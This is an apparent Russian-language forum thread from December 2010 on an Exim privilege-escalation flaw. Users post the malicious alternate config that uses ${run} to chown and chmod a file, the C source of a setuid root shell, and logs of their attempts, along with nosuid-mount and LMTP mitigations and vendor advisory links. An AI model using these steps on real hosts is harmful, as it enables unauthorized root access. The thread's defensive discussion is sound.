На кой тогда его не под рутом запускают, если так запросто рута получить???

create another file e.conf with following content:
spool_directory = ${run{/bin/chown
root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}

the he runs:
exim -Ce.conf -q

Чей сервер взломали? Когда и кто?

int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, 0);
execl("/bin/sh", "sh", 0);
}

gcc -o setuid setuid.c

cat c.conf
[pvg@c]$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /home/pvg/c/setuid}}${run{/bin/chmod 4755 /home/pvg/c/setuid}}
[pvg@c]$ /usr/sbin/exim -Cc.conf -q
2010-12-09 21:44:50 Failed to create directory "": No such file or directory
[pvg@c]$ ls -l
итого 20
-rw-rw-r--    1 pvg      pvg           110 Дек  9 21:39 c.conf
-rwsr-xr-x    1 pvg      pvg         11915 Дек  9 21:40 setuid
-rw-rw-r--    1 pvg      pvg           103 Дек  9 21:36 setuid.c

ииии получаем.....
а где root????.... бит s вижу, а рута нет
где ошибка??????????

Похоже в Debian не используется ALT_CONFIG_ROOT_ONLY...

bash-3.2$ uname -a
Linux hhh.ddd.xxxx 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
bash-3.2$ cat suid.c
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, 0);
execl("/bin/sh", "sh", 0);
}
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim  118 Дек  9 23:12 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек  9 23:08 suid
-rw-r--r-- 1 exim exim  104 Дек  9 23:05 suid.c
bash-3.2$ id
uid=93(exim) gid=93(exim) группы=12(mail),93(exim)
bash-3.2$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /var/spool/exim/setuid}}${run{/bin/chmod 4755 /var/spool/exim/setuid}}
bash-3.2$ exim -C c.conf -q
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim  118 Дек  9 23:12 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек  9 23:08 suid
-rw-r--r-- 1 exim exim  104 Дек  9 23:05 suid.c
bash-3.2$ pwd
/var/spool/exim
bash-3.2$
---------------------------
где suid root ?
может и остальное тоже ?

Go.

# mount -t nullfs -o nosuid /var/nosuid /nosuid
# mount | grep -i nosuid
/var/nosuid on /nosuid (nullfs, local, nosuid)

# /usr/local/etc/rc.d/exim stop
# mv /var/spool/exim /nosuid/
# ln -s /nosuid/exim /var/spool/exim
# ls -lF /var/spool/exim
lrwxr-xr-x  1 root  wheel  12 Dec 10 13:19 /var/spool/exim@ -> /nosuid/exim

# /usr/local/etc/rc.d/exim start

Вот и всё.

например роутер такой
localuser:
    driver = accept
    condition = ${lookup sqlite {/etc/exim/mail.db \                                                                                                      
      SELECT userid FROM mailusers WHERE userid='$local_part@$domain' AND smtp_allow='true'}}
убираем доставку самим эксимом    #transport = maildir_delivery
    transport = lmtp_delivery                                                                                                                              
    cannot_route_message = Unknown mail user

и в транспортах
lmtp_delivery:
    driver=smtp
    protocol=lmtp
    port = 24
    hosts=127.0.0.1
    allow_localhost
    return_path_add

после чего снимает suid с бинарника

service exim stop
mv /var/spool/exim /var/spool/exim2
mkdir /var/spool/exim
mount --bind /var/spool/exim2 /var/spool/exim -o nosuid
service exim start

Есть смысл так заворкэраундиться, простите мой хранцузский? :)

Паникеры.

1) Быдловендоры всяких дебианов думают что они самые умные и им не надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е. 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396.en.html

2) Ремотный рут опять же возможен только в том-же дебиане, ибо парсят HeaderX
http://www.exim.org/lurker/message/20101209.112914.68af6769.en.html

В CentOS она тоже есть.

https://www.centos.org/modules/newbb/viewtopic.php?topic_id=29266&forum=37

https://rhn.redhat.com/errata/RHSA-2010-0970.html